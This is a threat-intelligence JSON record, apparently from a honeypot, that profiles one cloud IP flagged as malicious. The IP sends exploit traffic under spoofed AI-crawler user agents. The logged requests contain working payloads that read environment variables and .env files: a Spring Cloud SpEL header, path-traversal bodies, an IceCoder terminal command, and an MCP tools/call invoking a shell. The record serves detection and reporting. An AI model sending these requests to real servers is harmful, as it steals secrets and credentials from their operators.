{"ip":"34.89.245.228","total_events":121,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"26 exploit-path hits","confidence":"high","network_type":null,"why":["26 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 474,796 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"474,796 bytes sent","bytes_sent":474796,"session_seconds":22,"persistent":false}},"first_seen":"2026-09-24T12:03:56","last_seen":"2026-09-24T12:04:20","events_24h":121,"events_7d":121,"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1169,"lon":8.6837,"asn":396982,"org":"Google LLC"},"source_domain":"228.245.89.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2026-50160","title":"Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/v1/onboarding/config"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2024-37152","title":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/settings"},{"cve_id":"CVE-2026-30928","title":"Glances - Information Disclosure","severity":"HIGH","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/4/config"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":121}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030107190100071503036553626ec5c0196067de68fed8789f6dd58f15c20d9990353c87ea8214684fcd20e0351ba0a639a1ac39b1e3a56ec213252a7119cf27eee26afc1ad8843a6ff22800200a0a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010006ac2a2a00000010000e000c02683208687474702f312e31000a000c000acaca11ec001d00170018002d0002010100120000002b0007067a7a0304030344cd00050003026832ff01000100fe0d011a0000010001c100201e41380e9da5c4d16291bb7f879291de23ad1e89d3d278817957b2f14beb476e00f0861899f63d038588fb0b84e1a7da59f365f837ad5bc821d06fdd443b21a7afab10af363746ebe38a2db51760cd5758b7687100260c96903416fc1fee2fad1507b1ee0cd538666e2cb523b67da35840353ee6d465bcf4fa02bbba8c87ff9a20ca20d269b0d16351d33d430cb35accc66c688861e7d451bb987fa1c0692fe00a1022174f6b05d167115036b89f6f0132f9d0fff8a8dee2658e3c53da9141a03ec0c3074b4c50971149a319a1f08c775f887992c0d968e5a2ba66021fd21721874413e53b3ab1aae8f22842a649816adeb60e8ae42a5b7bd005c9dbfbaa5a659774375a5359c42dcd2ca7738da6af98a94f000d00120010040308040401050308050501080606010023000000170000003304ef04edcaca00010011ec04c0f24b4e72d61518b6acb42a574e281ccae05902a188b40506487859d7b34bae5b9ace9abf09020103953dea6c8eb8b9735bd5b0a8718d6cb4812a461c6ba4969c16b272e05d9ea23303a23d10b41cea08cd587a45c42b632a10cb484a1e54aa6b3fe7c3790086c929baf203b011cc122c6bc0dfe61fe24a8e0693b94159c71ecc86a3c1657f747e4484909dc274f4c05be0b3930b9c4228b5b18c6c89c2f05d1bd73b59bb87c24298d405b9c900bc3c4b100b802b905961766868f76b9d8e073b0d1c30a7c69535ba64e3a363182b51efbac85e85a58e30011cb895a18959324863271000a507c1a35ac18426452d4b2682215f2f6138dcd710c2d485db91027f499efe7cacdae9bf6371911cf7371ba7bc3480c9fbf69f36d94e1cf4743238561de32115c1686e1858fa6c8862420e8e9c45bcfc3cf154b1178b630d3c8732f17397198d41194666e771b447803e03a4e439082316753b40214eb51c825c3b91d55ef228b39a745180c8beabcc10b9a124e65ac21b61a1f24899cda94b380ab794144d40d2a6b61c3b89c12ef5b576ac6a6b26626c82a66f861cbcbfe62ee7c34240f0028fb9480945b971b121074b673efba2a845ce85203f900a113ed00f55fc963dbb580cd23085ec22900cce281662fa7132e8acc6cd6751da7b3a876b9bf0d00999a16955e8ccd0775905e252b12cc1ebdb0561902f18497d9920ae2f20398605871627954b117553e09ab47a4ae9385c88c2ac85823a459849c5053294943d7fabb63aca026e0125e8213865e44c60f0022008971aa709a40bb43bd8cc4fa51eaa682566835b1fc0c96c85b165eb434aeb1be3ac40b759ccd483bad93c903464bb36974b16aa9951fa4dba022425390776dc1bd2036954c6099ef60ffa522ca5c1842882950df527a645753362655bd003d9120052659d6a4cb8b93471d6001d3116a7168328994cbf695b7af1e74fc1eb3439ca342b35c557784ca54a3c1c690e48b08e6e62307383487ce9b6540848b9b25220e763458b034ac831ba033e42e2b324b59aafa0792f7b93b1fc7a70c73d86541416d687c722a9dc89be92049da2039383aace24a5770f1bb38aa011fa201439e4062975b851366eb7c45db6d0585c11904d05c217fb865040169fc2bcee98cead72ad673bbab507433944b083c5ac9eb68fa3e90416204e60a061d91249fdf06e3ec42d7c6070cd206deacc1bcd0861d062ae59b417a3b71bec81790f91b148a00c7b84be8da7ba27d33226876a308668f137555721021a0ccdf7f67bc4d1b9d967600c0464d4aa3904162e646a9c5df38c42e05586ec9432ca6e9b296507d758b1caabcf07bcffd67e4d65cf21d137cff5987cbc9fb8143de4491ec7c369da98cf760c077457c93fc26d6594693e66539925a0f755247f3264d18725ee8b51d0fcc75a733643ab59c58048870431fc725b997bb9739aba2c6864ee140d4c78c955434fad082a1ed38b28aa63bc3c4b8f1a862232b31a963f07d1a93c096a68413963d48b02a02a9bb339e28b5bbab35e3d4703a5207cf6a245aed494784996a8cb269e3cc02c5b9d1c3073e309a3f2ca56b75c6065d96fc8c196ae8b567f985692b9b9c7ea3ffb6c99c2dd8df6e4075b8da8877e8b9d470efd040795a200cd23a4741ce5cfa0c4bf5567321da35adf5c5aab1a848d58fd85afdddffce52c6deda3fbf7b8c6c2c25e10001d0020f5582a376d7bddf14b1dac6e258e29725f2fd8abe0dd52930392ffabc2d188760000001500130000106e6c312e7072696e636875622e636f6d001b0003020002000b000201000005000501000000003a3a0001","tls_ja3":["ff32505b5c1045d263d7a1ff4323ed90","7b85815ec00709e1e1d26e38f5790a26","e3c4193fd91a285d1daa4ad2a1214fe8","8f5487170d73da1a8c56f8134d3b7f73","0898a1e31b07fcc009a6f0ca217a535b"],"http_akin":["a11cuq150_045c6e5d_efd6a5d2","a11cun062_0000004d_84d4cebf","a11cuq082_0000064d_8184102b","a11cun163_001ce87d_62d94f65","a11cuq050_0000064c_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":3,"a11cuq082_0000064d_8184102b":2,"a11cuq050_0000064c_107c8b82":7,"a11cun062_0000004d_84d4cebf":2,"a11cuq150_045c6e5d_efd6a5d2":2,"a11cun163_001ce87d_62d94f65":2},"akin_families":{"a11cun062_0000004d_84d4cebf":{"head":"a11cun030_0000004c_13ee3d34","shapes":4,"ips":2236},"a11cuq082_0000064d_8184102b":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":7},"a11cuq050_0000064c_107c8b82":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":7}},"user_agents":["Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)"],"timeline":[{"date":"2026-09-24","count":121}],"recent_events":[{"timestamp":"2026-09-24T12:04:20","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"4\",\"content-type\":\"text/plain\",\"host\":\"nl1.princhub.com\",\"spring.cloud.function.routing-expression\":\"T(java.lang.System).getenv()\",\"user-agent\":\"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)\"}","body":"test","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/functionRouter","summary":"","payload_hex":"504f5354202f66756e6374696f6e526f7574657220485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20446565705365656b426f742f312e303b202b68747470733a2f2f7777772e646565707365656b2e636f6d2f290d0a436f6e74656e742d4c656e6774683a20340d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a537072696e672e636c6f75642e66756e6374696f6e2e726f7574696e672d45787072657373696f6e3a2054286a6176612e6c616e672e53797374656d292e676574656e7628290d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a74657374","method":"POST","user_agent":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":29,"duration_ms":21582,"bytes_in":9823,"bytes_out":2262},{"timestamp":"2026-09-24T12:04:19","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"48\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)\"}","body":"{\"templateFile\":\"../../../../proc/self/environ\"}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e31290d0a436f6e74656e742d4c656e6774683a2034380d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":27,"duration_ms":20817,"bytes_in":9295,"bytes_out":2106},{"timestamp":"2026-09-24T12:04:19","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"35\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\"}","body":"{\"templateFile\":\"../../../../.env\"}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2033350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":28,"duration_ms":21254,"bytes_in":9539,"bytes_out":2184},{"timestamp":"2026-09-24T12:04:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\"}","body":"command=env&password=bypass&csrf=x","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/icecoder/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f696365636f6465722f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":26,"duration_ms":20273,"bytes_in":8962,"bytes_out":2028},{"timestamp":"2026-09-24T12:04:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"command=env&password=bypass&csrf=x","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":25,"duration_ms":18740,"bytes_in":8694,"bytes_out":1950},{"timestamp":"2026-09-24T12:04:16","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)\"}","body":"{\"file_path\":\".env\"}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e31290d0a436f6e74656e742d4c656e6774683a2032300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":24,"duration_ms":17894,"bytes_in":8403,"bytes_out":1872},{"timestamp":"2026-09-24T12:04:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":23,"duration_ms":17374,"bytes_in":8091,"bytes_out":1794},{"timestamp":"2026-09-24T12:04:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":20,"duration_ms":15544,"bytes_in":7226,"bytes_out":1560},{"timestamp":"2026-09-24T12:04:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"}","body":"{\"file_path\":\".env\"}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a2032300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":21,"duration_ms":16143,"bytes_in":7463,"bytes_out":1638},{"timestamp":"2026-09-24T12:04:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"168\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)\"}","body":"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"sandbox.execute_shell\",\"arguments\":{\"command\":\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"}}}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/mcp","summary":"","payload_hex":"504f5354202f6d637020485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c652d457874656e6465643b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a203136380d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226a736f6e727063223a22322e30222c226964223a312c226d6574686f64223a22746f6f6c732f63616c6c222c22706172616d73223a7b226e616d65223a2273616e64626f782e657865637574655f7368656c6c222c22617267756d656e7473223a7b22636f6d6d616e64223a22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c227d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)","ja3":"a962789028bded334540990b4391349d","session":"2e3c8eeb-4d00-4bcd-9f72-a1476b259e2a","seq":22,"duration_ms":16413,"bytes_in":7841,"bytes_out":1716}],"http_methods":[{"method":"GET","count":103},{"method":"POST","count":16},{"method":"DELETE","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/graphql","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/api/graphql","count":2,"ports":1},{"path":"/v1/graphql","count":2,"ports":1},{"path":"/api/config","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/inngest","count":1,"ports":1},{"path":"/docker-compose.yaml","count":1,"ports":1},{"path":"/pi.php","count":1,"ports":1},{"path":"/api/env","count":1,"ports":1},{"path":"/wp-json","count":1,"ports":1},{"path":"/env.js","count":1,"ports":1},{"path":"/console","count":1,"ports":1}],"distinct_paths_total":113,"top_snis":[{"value":"nl1.princhub.com","count":121}],"top_hosts":[{"value":"nl1.princhub.com","count":121}],"top_alpns":[{"value":"h2, http/1.1","count":121}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","Spring.cloud.function.routing-Expression","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"4","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"nl1.princhub.com","notable":false},{"name":"Spring.cloud.function.routing-Expression","value":"T(java.lang.System).getenv()","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2026-50160","tag_type":"cve","title":"Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/v1/onboarding/config","reference_urls":["https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf","https://nvd.nist.gov/vuln/detail/CVE-2026-50160","https://github.com/hoppscotch/hoppscotch/pull/6171"]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2024-37152","tag_type":"cve","title":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/settings","reference_urls":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2","https://nvd.nist.gov/vuln/detail/CVE-2024-37152"]},{"tag_id":"CVE-2026-30928","tag_type":"cve","title":"Glances - Information Disclosure","severity":"HIGH","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/4/config","reference_urls":[]}],"data_as_of":"2026-09-24T14:47:20.278007+00:00"}